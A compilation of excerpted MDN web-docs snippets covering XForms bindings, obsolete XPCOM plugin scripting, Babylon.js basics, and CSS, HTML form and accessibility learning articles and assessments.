...ed is controlfile.xml. controlfile-xhtml.xml contains the XHTML implementation bindings for the control and controlfile-xul.xml contains the implementation bindings for when this control is hosted in a XUL document. The following list shows where the base bindings for our XForms controls are defined: xforms.xml - contains the base bindings for output, label, trigger, submit, case, message, hint, help, alert, upload and repeat XForms controls. input.xml - contains the base bindings for input, secret and textarea XForms controls. select.xml - contains the base bindings for select and select1 XForms controls (except minimal/default select1 that is hosted in select1.xml file) range.xml - contains the base bindings for the range XForms control. xforms.xml also defines the few base bindings that a...
Choosing Standards Compliance Over Proprietary Practices - Archive of obsolete content
y standards to quality testing. By adopting a set of standards, the QA organization can produce a set of test suites that they can use across multiple projects. By having a standardized set of test suites, the QA organization can easily maintain, verify, and certify the tests, and eliminate redundant testing databases to ensure consistency and reliability. ...
...Lastly, by following a series of standards, organizations can more easily measure progress, performance, and results across the organization. ...
...to project. Summary As organizations expand product development across multiple devices and product families, integration and compatibility must be a key requirement. Adhering to a set of future-focused International standards will make cross-functional integration possible. Adopting standards will not only help an organizations end users enjoy a cross application experience; organizations will help themselves by giving development and quality assurance engineers the tools to become better equipped and flexible. Lastly, by following a series of standards, organizations can more easily measure progress, performance, and results across the organization. The most compelling dilemma is how an organization chooses to follow open external standards vs. a proprietary de facto standard. Following p...
Obsolete: XPCOM-based scripting for NPAPI plugins - Archive of obsolete content
t used to take advantage of being scriptable via LiveConnect in 4.x Netscape browsers lost this possibility in the new world. The main reason for this is that there is no guarantee of Java compatibility on a binary level due to the jri/jni switch. The new Mozilla XPCOM architecture allows XPCOM components be scriptable via a different mechanism called XPConnect. We leverage some of these ideas to help you make your Netscape Communicator 4.x plugins exposed to JavaScript in Mozilla based browsers. In order to make it still possible to script plugins, some changes have been made to the Mozilla code. The changes allow to make existing 4.x plugins scriptable with only minor modifications in their code. The present document describes the steps of what should be done to the plugin code to turn it sc...
...les Example 1. Sample .idl file #include "nsISupports.idl" [scriptable, uuid(bedb0778-2ee0-11d5-9cf8-0060b0fbd8ac)] interface nsITestPlugin : nsISupports { void nativeMethod(); }; Example 2. Scriptable instance class #include "nsITestPlugin.h" #include "nsIClassInfo.h" // We must implement nsIClassInfo because it signals the // Mozilla Security Manager to allow calls from JavaScript. // helper class to implement all necessary nsIClassInfo method stubs // and to set flags used by the security system class nsClassInfoMixin : public nsIClassInfo { // These flags are used by the DOM and security systems to signal that // JavaScript callers are allowed to call this object's scritable methods. NS_IMETHOD GetFlags(PRUint32 *aFlags) {*aFlags = nsIClassInfo::PLUGIN_OBJECT | nsIClass...
...UGIN_OBJECT | nsIClassInfo::DOM_OBJECT; return NS_OK;} NS_IMETHOD GetImplementationLanguage(PRUint32 *aImplementationLanguage) {*aImplementationLanguage = nsIProgrammingLanguage::CPLUSPLUS; return NS_OK;} // The rest of the methods can safely return error codes... ...
Building up a basic demo with Babylon.js - Game development
In this article we'll take you through the real basics of using Babylon.js, including setting up a development environment, structuring the necessary HTML, and writing the JavaScript code. We will try to create a simple demo first -- a cube rendered on the screen. ...
...oes here */ </script> </body> </html> It contains some basic information like the document <title>, and some CSS to set the width and height of the <canvas> element (which Babylon.js will use to render the content on) to fill the entire available viewport space. The first <script> element includes the Babylon.js library in the page; we will write our example code in the second one. There is one helper variable already included, which will store a reference to the <canvas> element. Before reading on, copy this code to a new text file and save it in your working directory as index.html. Initialising the Babylon.js engine We have to create a Babylon.js engine instance first (passing it the <canvas> element to render on) before we start developing our game. Add the following code to the botto...
...ly happening -- we can see animations and such -- so let's try to breathe a little life into those shapes by animating them. Animation We already used position and rotation to adjust the position of the shapes; we could also scale them. To show actual animation, we need to make changes to these values inside the rendering loop at the end of our code, so they are updated on every frame. Define a helper variable -- t -- that we will use for animations, just before the renderLoop, and decrement it on every frame inside the loop, like this: var t = 0; var renderLoop = function () { scene.render(); t -= 0.01; // animation code goes here }; engine.runRenderLoop(renderLoop); The t variable will be incremented on every rendered frame. Rotation Applying rotation is as easy as adding ...
Assessment: Accessibility troubleshooting - Learn web development
nts. The finished assessment site should look like so: You will see some differences/issues with the display of the starting state of the assessment -- this is mainly due to the differences in the markup, which in turn cause some styling issues as the CSS is not applied properly. Don't worry -- you'll be fixing these problems in the upcoming sections! Note: If you get stuck, then ask us for help -- see the Assessment or further help section at the bottom of this page. Project brief For this project, you are presented with a fictional nature site displaying a "factual" article about bears. As it stands, it has a number of accessibility issues -- your task is to explore the existing site and fix them to the best of your abilities, answering the questions given below. Color The text is...
...he data table is not currently very accessible -- it is hard for screenreader users to associate data rows and columns together, and the table also has no kind of summary to make it clear what it shows. Can you add some features to your HTML to fix this problem? Other considerations? Can you list two more ideas for improvements that would make the website more accessible? Assessment or further help If you would like your work assessed, or are stuck and want to ask for help: Put your work into an online shareable editor such as CodePen, jsFiddle, or Glitch. Write a post asking for assessment and/or help at the MDN Discourse forum Learning category. Your post should include: A descriptive title such as "Assessment wanted for Accessibility troubleshooting". Details of what you ha...
...ut your work into an online shareable editor such as CodePen, jsFiddle, or Glitch. Write a post asking for assessment and/or help at the MDN Discourse forum Learning category. Your post should include: A descriptive title such as "Assessment wanted for Accessibility troubleshooting". Details of what you have already tried, and what you would like us to do, e.g. if you are stuck and need help, or want an assessment. A link to the example you want assessed or need help with, in an online shareable editor (as mentioned in step 1 above). This is a good practice to get into -- it's very hard to help someone with a coding problem if you can't see their code. A link to the actual task or assessment page, so we can find the question you want help with. Previous Overview: Ac...
CSS and JavaScript accessibility best practices - Learn web development
standing of HTML, CSS, and JavaScript, and understanding of what accessibility is. Objective: To gain familiarity with using CSS and JavaScript appropriately in your web documents to maximise accessibility and not detract from it. CSS and JavaScript are accessible? CSS and JavaScript don't have the same immediate importance for accessibility as HTML, but they are still able to help or damage accessibility, depending on how they are used. To put it another way, it is important that you consider some best practice advice to make sure that your use of CSS and JavaScript doesn't ruin the accessibility of your documents. CSS Let's start off by looking at CSS. Correct semantics and user expectation It is possible to use CSS to make any HTML element look like anything, but thi...
...oking neat and tidy. You shouldn't however deviate too much from the expected visual feedback form elements receive when they are focused, which is basically the same as links (see above). You could style form focus/hover states to make this behaviour more consistent across browsers or fit in better with your page design, but don't get rid of it altogether -- again, people rely on these clues to help them know what is going on. Tables Tables for presenting tabular data. You can see a good, simple example of table HTML and CSS in our table-css.html example (see it live also). Table CSS generally serves to make the table fit better into your design and look less ugly. It is a good idea to make sure the table headers stand out (normally using bold), and use zebra striping to make different r...
...her browsers (see bug 277178). In addition, the errorField is placed at the top of the source order (although it is positioned differently in the UI using CSS), meaning that users can find out exactly what's wrong with their form submissions and get to the input elements in question by going back up to the start of the page. As a final note, we have used some WAI-ARIA attributes in our demo to help solve accessibility problems caused by areas of content constantly updating without a page reload (screen readers won't pick this up or alert users to it by default): <div class="errors" role="alert" aria-relevant="all"> <ul> </ul> </div> We will explain these attributes in our next article, which covers WAI-ARIA in much more detail. Note: Some of you will probably be thinking about that ...
A cool-looking box - Learn web development
ave them as index.html and style.css in a new directory. Alternatively, you could use a site like JSBin or Glitch to do your assessment. You could paste the HTML and fill in the CSS into one of these online editors. If the online editor you are using doesn't have a separate CSS panel, feel free to put it in a <style> element in the head of the document. Note: If you get stuck, then ask us for help -- see the Assessment or further help section at the bottom of this page. Project brief Your task is to create a cool, fancy box and explore the fun we can have with CSS. General tasks Apply the CSS to the HTML. Styling the box We'd like you to style the provided <p>, giving it the following: A reasonable width for a large button, say around 200 pixels. A reasonable height for a lar...
...one standard box shadow to make the box look slightly raised off the page. The other two should be inset box shadows -- a semi-transparent white shadow near the top left and a semi-transparent black shadow near the bottom right -- to add to the nice raised 3D look of the box. Example The following screenshot shows an example of what the finished design could look like: Assessment or further help If you would like your work assessed, or are stuck and want to ask for help: Put your work into an online shareable editor such as CodePen, jsFiddle, or Glitch. Write a post asking for assessment and/or help at the MDN Discourse forum Learning category. Your post should include: A descriptive title such as "Assessment wanted for Cool-looking box". Details of what you have already tr...
...or help: Put your work into an online shareable editor such as CodePen, jsFiddle, or Glitch. Write a post asking for assessment and/or help at the MDN Discourse forum Learning category. Your post should include: A descriptive title such as "Assessment wanted for Cool-looking box". Details of what you have already tried, and what you would like us to do, e.g. if you are stuck and need help, or want an assessment. A link to the example you want assessed or need help with, in an online shareable editor (as mentioned in step 1 above). This is a good practice to get into -- it's very hard to help someone with a coding problem if you can't see their code. A link to the actual task or assessment page, so we can find the question you want help with. ...
Creating fancy letterheaded paper - Learn web development
nd logo images in the same directory as your code files. Alternatively, you could use a site like JSBin or Glitch to do your assessment. You could paste the HTML and fill in the CSS into one of these online editors. If the online editor you are using doesn't have a separate CSS panel, feel free to put it in a <style> element in the head of the document. Note: If you get stuck, then ask us for help -- see the Assessment or further help section at the bottom of this page. Project brief You have been given the files needed to create a letterheaded paper template. You just need to put the files together. To get there, you need to: The main letter Apply the CSS to the HTML. Add a background declaration to the letter that: Fixes the top image to the top of the letter Fixes the b...
...sion that works across newer browsers only. Older browsers will apply the first declaration and ignore the second one, whereas newer browsers will apply the first one, then override it with the second one. Feel free to create your own graphics for the assessment if you wish. Example The following screenshot shows an example of what the finished design could look like: Assessment or further help If you would like your work assessed, or are stuck and want to ask for help: Put your work into an online shareable editor such as CodePen, jsFiddle, or Glitch. Write a post asking for assessment and/or help at the MDN Discourse forum Learning category. Your post should include: A descriptive title such as "Assessment wanted for Creating fancy letterheaded paper". Details of what yo...
...our work into an online shareable editor such as CodePen, jsFiddle, or Glitch. Write a post asking for assessment and/or help at the MDN Discourse forum Learning category. Your post should include: A descriptive title such as "Assessment wanted for Creating fancy letterheaded paper". Details of what you have already tried, and what you would like us to do, e.g. if you are stuck and need help, or want an assessment. A link to the example you want assessed or need help with, in an online shareable editor (as mentioned in step 1 above). This is a good practice to get into -- it's very hard to help someone with a coding problem if you can't see their code. A link to the actual task or assessment page, so we can find the question you want help with. ...
Fundamental CSS comprehension - Learn web development
rnatively, you could use a site like JSBin or Glitch to do your assessment. You could paste the HTML and fill in the CSS into one of these online editors, and use this URL to point the <img> element to the image file. If the online editor you are using doesn't have a separate CSS panel, feel free to put it in a <style> element in the head of the document. Note: If you get stuck, then ask us for help -- see the Assessment or further help section at the bottom of this page. Project brief You have been provided with some raw HTML and an image, and need to write the necessary CSS to style this into a nifty little online business card, which can perhaps double as a gamer card or social media profile. The following sections describe what you need to do. Basic setup: First of all, create a n...
...n trying to work out the em value you need to represent a certain pixel length, think about what base font size the root (<html>) element has, and what it needs to be multiplied by to get the desired value. That'll give you your em value, at least in a simple case like this. Example The following screenshot shows an example of what the finished design should look like: Assessment or further help If you would like your work assessed, or are stuck and want to ask for help: Put your work into an online shareable editor such as CodePen, jsFiddle, or Glitch. Write a post asking for assessment and/or help at the MDN Discourse forum Learning category. Your post should include: A descriptive title such as "Assessment wanted for Fundamental CSS comprehension". Details of what you ha...
...ut your work into an online shareable editor such as CodePen, jsFiddle, or Glitch. Write a post asking for assessment and/or help at the MDN Discourse forum Learning category. Your post should include: A descriptive title such as "Assessment wanted for Fundamental CSS comprehension". Details of what you have already tried, and what you would like us to do, e.g. if you are stuck and need help, or want an assessment. A link to the example you want assessed or need help with, in an online shareable editor (as mentioned in step 1 above). This is a good practice to get into -- it's very hard to help someone with a coding problem if you can't see their code. A link to the actual task or assessment page, so we can find the question you want help with. ...
Handling different text directions - Learn web development
er than right-to-left languages (such as Arabic). In recent years however, CSS has evolved in order to better support different directionality of content, including right-to-left but also top-to-bottom content (such as Japanese) -- these different directionalities are called writing modes. As you progress in your study and begin to work with layout, an understanding of writing modes will be very helpful to you, therefore we will introduce them now. Prerequisites: Basic computer literacy, basic software installed, basic knowledge of working with files, HTML basics (study Introduction to HTML), and an idea of how CSS works (study CSS first steps.) Objective: To understand the importance of writing modes to modern CSS. What are writing modes? A writing mode in CS...
...guages that are displayed left-to-right! Due to the fact that writing mode and direction of text can change, newer CSS layout methods do not refer to left and right, and top and bottom. Instead they will talk about start and end along with this idea of inline and block. Don't worry too much about that right now, but keep these ideas in mind as you start to look at layout; you will find it really helpful in your understanding of CSS. Logical properties and values The reason to talk about writing modes and direction at this point in your learning however, is because of the fact we have already looked at a lot of properties which are tied to the physical dimensions of the screen, and make most sense when in a horizontal writing mode. Let's take a look at our two boxes again -- one with a hori...
...information? You can find some further tests to verify that you've retained this information before you move on -- see Test your skills: writing modes. Summary The concepts explained in this lesson are becoming increasingly important in CSS. An understanding of the block and inline direction -- and how text flow changes with a change in writing mode -- will be very useful going forward. It will help you in understanding CSS even if you never use a writing mode other than a horizontal one. In the next module we will take a good look at overflow in CSS. Previous Overview: Building blocks Next In this module Cascade and inheritance CSS selectors Type, class, and ID selectors Attribute selectors Pseudo-classes and pseudo-elements Combinators The box model Bac...
Pseudo-classes and pseudo-elements - Learn web development
view: Building blocks Next The next set of selectors we will look at are referred to as pseudo-classes and pseudo-elements. There are a large number of these, and they often serve quite specific purposes. Once you know how to use them, you can look at the list to see if there is something which works for the task you are trying to achieve. Once again the relevant MDN page for each selector is helpful in explaining browser support. Prerequisites: Basic computer literacy, basic software installed, basic knowledge of working with files, HTML basics (study Introduction to HTML), and an idea of how CSS works (study CSS first steps.) Objective: To learn about the pseudo-class and pseudo-element selectors. What is a pseudo-class? A pseudo-class is a selector that ...
...CSS first steps.) Objective: To learn about the pseudo-class and pseudo-element selectors. What is a pseudo-class? A pseudo-class is a selector that selects elements that are in a specific state, e.g. they are the first element of their type, or they are being hovered over by the mouse pointer. They tend to act as if you had applied a class to some part of your document, often helping you cut down on excess classes in your markup, and giving you more flexible, maintainable code. Pseudo-classes are keywords that start with a colon: :pseudo-class-name Simple pseudo-class example Let's look at a simple example. If we wanted to make the first paragraph in an article larger and bold, we could add a class to that paragraph and then add CSS to that class, as shown in the first...
... with a width and height. We then use CSS to style it just like any element. You can play around with the CSS and change how it looks and behaves. The use of the ::before and ::after pseudo-elements along with the content property is referred to as "Generated Content" in CSS, and you will often see this technique being used for various tasks. A great example is the site CSS Arrow Please, which helps you to generate an arrow with CSS. Look at the CSS as you create your arrow and you will see the ::before and ::after pseudo-elements in use. Whenever you see these selectors, look at the content property to see what is being added to the document. Reference section There are a large number of pseudo-classes and pseudo-elements, and it is useful to have a list to refer to. Below are tables lis...
Supporting older browsers - Learn web development
Grid, and do not support the feature query will use that layout information they can understand and completely ignore everything else. The browsers that support the feature query also support CSS Grid and so will run the grid code and the code inside the feature query. The specification for feature queries also contains the ability to test if a browser does not support a feature -- this is only helpful if the browser does support feature queries. In the future, an approach of checking for lack of support will work, as the browsers that don't have feature query support go away. For now, however, use the approach of doing the older CSS, then overwriting it, for the best support. Older versions of Flexbox In older versions of browsers, you can find previous iterations of the Flexbox specifica...
...ing the older CSS, then overwriting it, for the best support. Older versions of Flexbox In older versions of browsers, you can find previous iterations of the Flexbox specification. At the time of writing, this is mostly an issue with Internet Explorer 10, which uses the -ms- prefix for Flexbox. This also means that there are some outdated articles and tutorials in existence; this useful guide helps you check what you are looking at and can also help if you need flex support in very old browsers. The IE10 and 11 prefixed version of Grid The CSS Grid specification was initially prototyped In Internet Explorer 10; this means that while IE10 and IE11 do not have modern grid support, they do have a version of Grid layout that is very usable, although different to the modern specification docu...
...ough different to the modern specification documented on this site. The IE10 and 11 implementations is -ms- prefixed, which means you can use it for these browsers and it will be ignored by non-Microsoft browsers. Edge does still understand the old syntax, however, so take care that everything is safely overwritten in your modern grid CSS. The guide to Progressive Enhancement in Grid Layout can help you understand the IE version of the grid, and we have included some additional useful links at the end of this lesson. However, unless you have a very high number of visitors in older IE versions, you may find it better to focus on creating a fallback that works for all non-supporting browsers. Testing older browsers With the majority of browsers supporting Flexbox and Grid, it can be reasonab...
Using your new knowledge - Learn web development
n download the starting point to work with in your own editor. This is a single page with the HTML, plus the starting point CSS in the head of the document. If you prefer you could move this CSS to a separate file when you create the example on your local computer. Alternatively use an online tool such as CodePen, jsFiddle, or Glitch to work on the tasks. Note: If you get stuck, then ask us for help -- see the Assessment or further help section at the bottom of this page. Working with CSS The following live example shows a biography, which has been styled using CSS. The CSS properties that I have used are as follows -- each one links to its property page on MDN, which will give you more examples of its use. font-family color border-bottom font-weight font-size text-decoration I ...
... some padding to push the content away from the border. Make the links green on hover. You should end up with something like this image. Afterwards try looking up some properties not mentioned on this page in the MDN CSS reference and get adventurous! Remember that there is no wrong answer here -- at this stage in your learning you can afford to have a bit of fun. Assessment or further help If you would like your work assessed, or are stuck and want to ask for help: Put your work into an online shareable editor such as CodePen, jsFiddle, or Glitch. Write a post asking for assessment and/or help at the MDN Discourse forum Learning category. Your post should include: A descriptive title such as "Assessment wanted for CSS First Steps". Details of what you have already tri...
...for help: Put your work into an online shareable editor such as CodePen, jsFiddle, or Glitch. Write a post asking for assessment and/or help at the MDN Discourse forum Learning category. Your post should include: A descriptive title such as "Assessment wanted for CSS First Steps". Details of what you have already tried, and what you would like us to do, e.g. if you are stuck and need help, or want an assessment. A link to the example you want assessed or need help with, in an online shareable editor (as mentioned in step 1 above). This is a good practice to get into -- it's very hard to help someone with a coding problem if you can't see their code. A link to the actual task or assessment page, so we can find the question you want help with. What's next? Congratulati...
Typesetting a community school homepage - Learn web development
omputer. Alternatively, you could use a site like JSBin or Glitch to do your assessment. You could paste the HTML and fill in the CSS into one of these online editors, and use this URL to point the background image. If the online editor you are using doesn't have a separate CSS panel, feel free to put it in a <style> element in the head of the document. Note: If you get stuck, then ask us for help -- see the Assessment or further help section at the bottom of this page. Project brief You have been provided with some raw HTML for the homepage of an imaginary community college, plus some CSS that styles the page into a three column layout and provides some other rudimentary styling. You are to write your CSS additions below the comment at the bottom of the CSS file, to make sure it is eas...
...n't need to edit the HTML in any way for this exercise. You don't necessarily have to make the nav menu look like buttons, but it needs to be a bit taller so that it doesn't look silly on the side of the page; also remember that you need to make this one a vertical nav menu. Example The following screenshot shows an example of what the finished design could look like: Assessment or further help If you would like your work assessed, or are stuck and want to ask for help: Put your work into an online shareable editor such as CodePen, jsFiddle, or Glitch. Write a post asking for assessment and/or help at the MDN Discourse forum Learning category. Your post should include: A descriptive title such as "Assessment wanted for Typesetting a community school homepage". Details of w...
...rk into an online shareable editor such as CodePen, jsFiddle, or Glitch. Write a post asking for assessment and/or help at the MDN Discourse forum Learning category. Your post should include: A descriptive title such as "Assessment wanted for Typesetting a community school homepage". Details of what you have already tried, and what you would like us to do, e.g. if you are stuck and need help, or want an assessment. A link to the example you want assessed or need help with, in an online shareable editor (as mentioned in step 1 above). This is a good practice to get into -- it's very hard to help someone with a coding problem if you can't see their code. A link to the actual task or assessment page, so we can find the question you want help with. Previous Overview: St...
How can we design for all types of users? - Learn web development
Prerequisites: You should first read What is accessibility?, since we don't cover accessibility in detail here. Objective: Universal design means design for everybody, regardless of disabilities or technical constraints. This article lists the most important quick-wins for universal design. Summary When you're building a website, one top issue to consider is Universal Design: accommodating all users regardless of disability, technical constraints, culture, location, and so on. Active Learning There is no active learning available yet. ...
... you're building a website, one top issue to consider is Universal Design: accommodating all users regardless of disability, technical constraints, culture, location, and so on. Active Learning There is no active learning available yet. Dig deeper Color contrast To keep your text readable, use a text color that contrasts well with the background color. Make it extra easy to read the text, to help visually-impaired people and people using their phones on the street. The W3C defines a good color mix with an algorithm that calculates luminosity ratio between foreground and background. The calculation may seem pretty complicated, but we can rely on tools to do the job for us. Let's download and install the Paciello Group's Colour Contrast Analyser. Note: Alternatively you can find a numbe...
...ally, search engines rely mainly on text to index your contents. For all these reasons, please provide a text transcript of the video/audio file. Image compression Some users may choose to display images, but still have limited bandwidth available, especially in developing countries and on mobile devices. If you want a successful website, please compress your images. There are various tools to help you, either online or local: Installed software. ImageOptim (Mac), OptiPNG (all platforms), PNGcrush (DOS, Unix/Linux) Online tools. Yahoo's smushit!, Dynamic drive's Online Image Optimizer (which can convert automatically from one format to another if it's more bandwidth-efficient) ...
How do I start to design my website? - Learn web development
th the technique of your craft, but what really matters is what you want to accomplish. Yes, it seems obvious, but too many projects fail not from a lack of technical know-how, but from lack of goals and vision. So when you get an idea and want to turn it into a website, there are a few questions you should answer before anything else: What exactly do I want to accomplish? How will a website help me reach my goals? What needs to be done, and in what order, to reach my goals? All of this is called project ideation and is a necessary first step to reach your goal, whether you are a beginner or an experienced developer. Active Learning There is no active learning available yet. Deeper dive A project never starts with the technical side. Musicians will never make any music unless they ...
...s of your cats. Find a new girl/boyfriend. Once you have such a list, you need to prioritize. Order the goals from most important to least important: Find a new girl/boyfriend. Let people hear your music. Talk about your music. Meet other musicians. Sell goodies. Teach music through videos. Publish photos of your cats. Doing this simple exercise--writing goals and sorting them--will help you out when you have decisions to make. (Should I implement these features, use these services, create these designs?) So now that you have a prioritized list of goals, let's move on to the next question. How could a website bring me to my goals? So you have a list of goals and you feel you need a website to reach those goals. Are you sure? Let's look back at our example. We have five goals ...
...t could handle these goals, but it makes sense in this case to build a dedicated website of our own. Such a website is the best way to aggregate all the stuff we want to publish in a single place (good for goals 3, 5, and 6) and promote interaction between us and the public (good for goals 2 and 4). In short, since these goals all revolve around the same topic, having everything in one place will help us meet our goals and help our followers connect with us. How can a website help me reach my goals? By answering that, you'll find the best way to reach your goals and save yourself from wasted effort. What needs to be done, and in what order, to reach my goals? Now that you know what you want to accomplish, it's time to turn those goals into actionable steps. As a side note, your goals are no...
Advanced form styling - Learn web development
-based browsers (Chrome, Opera, Edge), Safari, and Firefox all support the -webkit- prefixed version (-webkit-appearance). Firefox settled on this because web developers mostly seemed to be using the -webkit- prefixed version, so it was better for compatibility. If you look at the reference page you'll see a lot of different possible values listed for -webkit-appearance, however by far the most helpful value, and probably the only one you'll use, is none. This stops any control you apply it to from using system-level styling, as much as possible, and lets you build up the styles yourself using CSS. For example, let's take the following controls: <form> <p> <label for="search">search: </label> <input id="search" name="search" type="search"> </p> <p> <label for="text">text:...
... third party solution such as progressbar.js. The road to nicer forms: useful libraries and polyfills As we've mentioned above a few times, if you want to gain full control over the "ugly" control types, you have no choice but to rely on JavaScript. In the article How to build custom form controls you will see how to do it on your own, but there are some very useful libraries out there that can help you: Uni-form is a framework that standardizes form markup, styling it with CSS. It also offers a few additional features when used with jQuery, but that's optional. Formalize is an extension to common JavaScript frameworks (such as jQuery, Dojo, YUI, etc.) that helps to normalize and customize your forms. Niceforms is a standalone JavaScript method that provides complete customization of we...
...is a standalone JavaScript method that provides complete customization of web forms. You can use some of the built in themes, or create your own. The following libraries aren't just about forms, but they have very interesting features for dealing with HTML forms: jQuery UI offers customizable widgets such as date pickers (with special attention given to accessibility). Twitter Bootstrap can help normalize your forms. WebShim is a huge tool that can help you deal with browser HTML5 support. The web forms part can be really helpful. Remember that CSS and JavaScript can have side effects. So if you choose to use one of those libraries, you should always have robust fallback HTML in case the script fails. There are many reasons why scripts may fail, especially in the mobile world, and you...
Client-side form validation - Learn web development
This article leads you through basic concepts and examples of client-side form validation. Prerequisites: Computer literacy, a reasonable understanding of HTML, CSS, and JavaScript. ...
... perform? You need to determine how to validate your data: string operations, type conversion, regular expressions, and so on. It's up to you. What should I do if the form doesn't validate? This is clearly a UI matter. You have to decide how the form will behave. Does the form send the data anyway? Should you highlight the fields that are in error? Should you display error messages? How can I help the user to correct invalid data? In order to reduce the user's frustration, it's very important to provide as much helpful information as possible in order to guide them in correcting their inputs. You should offer up-front suggestions so they know what's expected, as well as clear error messages. If you want to dig into form validation UI requirements, here are some useful articles you should ...
...le, but can you remember the most important information? You can find some further tests to verify that you've retained this information before you move on -- see Test your skills: Form validation. Summary Client-side form validation sometimes requires JavaScript if you want to customize styling and error messages, but it always requires you to think carefully about the user. Always remember to help your users correct the data they provide. To that end, be sure to: Display explicit error messages. Be permissive about the input format. Point out exactly where the error occurs, especially on large forms. Once you have checked that the form is filled out correctly, the form can be submitted. We'll cover sending form data next. Previous Overview: Forms Next In this module You...
How to build custom form controls - Learn web development
d time in the design stage; if you define a behavior poorly, or forget to define one, it will be very hard to redefine it once the users have gotten used to it. If you have doubts, ask for the opinions of others, and if you have the budget for it, do not hesitate to perform user tests. This process is called UX Design. If you want to learn more about this topic, you should check out the following helpful resources: UXMatters.com UXDesign.com The UX Design section of SmashingMagazine Note: Also, in most systems there is a way to open the <select> element with the keyboard to look at all the available choices (this is the same as clicking the <select> element with a mouse). This is achieved with Alt + Down on Windows. We didn't implement this in our example, but it would be easy to do s...
...-class in order to be sure they will behave the same. .select .active, .select:focus { outline: none; /* This box-shadow property is not exactly required, however it's imperative to ensure active state is visible, especially to keyboard users, that we use it as a default value. */ box-shadow: 0 0 3px 1px #227755; } Now, let's handle the list of options: /* The .select selector here helps to make we only select element inside our control. */ .select .optList { /* This will make sure our list of options will be displayed below the value and out of the HTML flow */ position : absolute; top : 100%; left : 0; } We need an extra class to handle when the list of options is hidden. This is necessary in order to manage the differences between the active state an...
...e final result of all these changes (you'll get a better feel for this by trying it with an assistive technology such as NVDA or VoiceOver): Live example Check out the final source code If you want to move forward, the code in this example needs some improvement before it becomes generic and reusable. This is an exercise you can try to perform. Two hints to help you in this: the first argument for all our functions is the same, which means those functions need the same context. Building an object to share that context would be wise. An alternative approach: Using radio buttons In the above example, we reinvented a <select> element using non-semantic HTML, CSS, and JavaScript. This select was selecting one option from a limited number of options, which ...
How to structure a web form - Learn web development
uter literacy, and a basic understanding of HTML. Objective: To understand how to structure HTML forms and give them semantics so they are usable and accessible. The flexibility of forms makes them one of the most complex structures in HTML; you can build any kind of basic form using dedicated form elements and attributes. Using correct structure when building an HTML form will help ensure that the form is both usable and accessible. The <form> element The <form> element formally defines a form and attributes that determine the form's behavior. Each time you want to create an HTML form, you must start it by using this element, nesting all the contents inside. Many assistive technologies and browser plugins can discover <form> elements and implement special hooks to make th...
...name" name="user_name"> </label> Even in such cases however, it is considered best practice to set the for attribute to ensure all assistive technologies understand the relationship between label and widget. If there is no label, or if the form control is neither implicitly or explicitly associated with a label, and a screenreader will read out something like "Edit text blank", which isn't very helpful at all. Labels are clickable, too! Another advantage of properly set up labels is that you can click or tap the label to activate the corresponding widget. This is useful for controls like text inputs, where you can click the label as well as the input to focus it, but it is especially useful for radio buttons and checkboxes -- the hit area of such a control can be very small, so it is usefu...
...name">Name: <abbr title="required" aria-label="required">*</abbr></label> <input id="username" type="text" name="username"> </div> The paragraph at the top states a rule for required elements. The rule must be included before it is used so that sighted users and users of assistive technologies such as screen readers can learn what it means before they encounter a required element. While this helps inform users what an asterisk means, it can not be relied upon. A screen reader will speak an asterisk as "star" when encountered. When hovered by a sighted mouse user, "required" should appear, which is achieved by use of the title attribute. Titles being read aloud depend on the screen reader's settings, so it is more reliable to also include the aria-label attribute, which is always read by...
Your first form - Learn web development
sers to enter data, which is generally sent to a web server for processing and storage (see Sending form data later in the module), or used on the client-side to immediately update the interface in some way (for example, add another item to a list, or show or hide a UI feature). A web form's HTML is made up of one or more form controls (sometimes called widgets), plus some additional elements to help structure the overall form -- they are often referred to as HTML forms. The controls can be single or multi-line text fields, dropdown boxes, buttons, checkboxes, or radio buttons, and are mostly created using the <input> element, although there are some other elements to learn about too. Form controls can also be programmed to enforce specific formats or values to be entered (form validation), ...
...here are some other elements to learn about too. Form controls can also be programmed to enforce specific formats or values to be entered (form validation), and paired with text labels that describe their purpose to both sighted and blind users. Designing your form Before starting to code, it's always better to step back and take the time to think about your form. Designing a quick mockup will help you to define the right set of data you want to ask your user to enter. From a user experience (UX) point of view, it's important to remember that the bigger your form, the more you risk frustrating people and losing users. Keep it simple and stay focused: ask only for the data you absolutely need. Designing forms is an important step when you are building a site or application. It's beyond the ...
...is guide to go deeply into that subject, but if you want to know more, we have provided some examples in our Sending form data article later on. Summary Congratulations, you've built your first web form. It looks like this live: That's only the beginning, however -- now it's time to take a deeper look. Forms have way more power than what we saw here and the other articles in this module will help you to master the rest. Overview: Forms Next In this module Your first form How to structure a web form Basic native form controls The HTML5 input types Other form controls Styling web forms Advanced form styling UI pseudo-classes Client-side form validation Sending form data Advanced Topics How to build custom form controls Sending forms through JavaScript Property co...
Tips for authoring fast-loading HTML pages - Learn web development
mber of HTTP lookups needed by combining the images into one, known as an image sprite. Then you just apply the same image each time you need it for a background and adjust the x/y coordinates appropriately. This technique works best with elements that will have limited dimensions, and will not work for every use of a background image. However, the fewer HTTP requests and single image caching can help reduce page-load time. Use a Content Delivery Network (CDN) For the purposes of this article, a CDN is a means to reduce the physical distance between your server and your visitor. As the distance between your server origin and visitor increases, the load times will increase. Suppose your website server is located in the United States and it has a visitor from India; the page load time will be ...
...mple, HTML Tidy can remove whitespace and optional ending tags; however, it will refuse to run on a page with serious markup errors. Chunk your content Tables for layouts are a legacy method that should not be used anymore. Layouts utilizing floats, positioning, flexbox, or grids should be used instead. Tables are still considered valid markup but should be used for displaying tabular data. To help the browser render your page quicker, you should avoid nesting your tables. Rather than deeply nesting tables as in: <table> <table> <table> ... </table> </table> </table> use non-nested tables or divs as in <table>...</table> <table>...</table> <table>...</table> See also: CSS Flexible Box Layout and CSS Grid Layout specifications. Minify and compress SVG assets SVG...
...vaScript scripts such that they are compatible with both the async and the defer attributes, and use async whenever possible, especially if you have multiple script tags. With that, the page can stop rendering while JavaScript is still loading. Otherwise, the browser will not render anything that is after the script tags that do not have these attributes. Note: Even though these attributes do help a lot the first time a page is loaded, you should use them but not assume they will work in all browsers. If you already follow all JavaScript best practices, there is no need to change your code. Example page structure . <html> . <head> . <link> ... CSS files required for page appearance. Minimize the number of files for performance while keeping unrelated CSS in separate files f...
Debugging HTML - Learn web development
Prerequisites: HTML familiarity, as covered in, for example, Getting started with HTML, HTML text fundamentals, and Creating hyperlinks. Objective: Learn the basics of using debugging tools to find problems in HTML. ...
